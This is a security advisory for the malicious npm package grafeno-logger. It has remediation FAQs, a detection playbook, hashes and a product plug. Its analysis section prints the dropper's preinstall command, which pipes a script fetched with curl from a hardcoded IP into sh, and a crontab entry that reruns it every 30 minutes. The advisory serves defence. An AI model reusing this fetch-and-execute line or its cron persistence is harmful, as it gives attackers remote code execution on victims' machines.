Which versions of grafeno-logger are malicious?

The following npm versions of grafeno-logger are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate grafeno-logger if I installed it?

Remove grafeno-logger from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed grafeno-logger — how do I know if it already compromised me?

If grafeno-logger was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is grafeno-logger part of a known attack campaign?

Yes — grafeno-logger is associated with the IN-MAL-2026-019060, IN-MAL-2026-019113 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-logger across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for grafeno-logger (2 malicious versions).

Malicious package

grafeno-loggernpm

Advisory published Aug 28, 2026Updated Aug 29, 2026

grafeno-logger is a confirmed malicious npm package (MAL-2026-15506) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-logger (npm)

MAL-2026-15506

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-logger

What this malware does

[email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on npm install. The same preinstall step appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413

8df326d52f1b8b99223fa24f8d5b5139811235451a35d5d6bc0f67a680b5f1e1

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for grafeno-logger (2 malicious versions).
If you installed it — respond
Remove grafeno-logger from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-logger was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. grafeno-logger on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019060IN-MAL-2026-019113

References

Credits

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O3 blocks grafeno-logger-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

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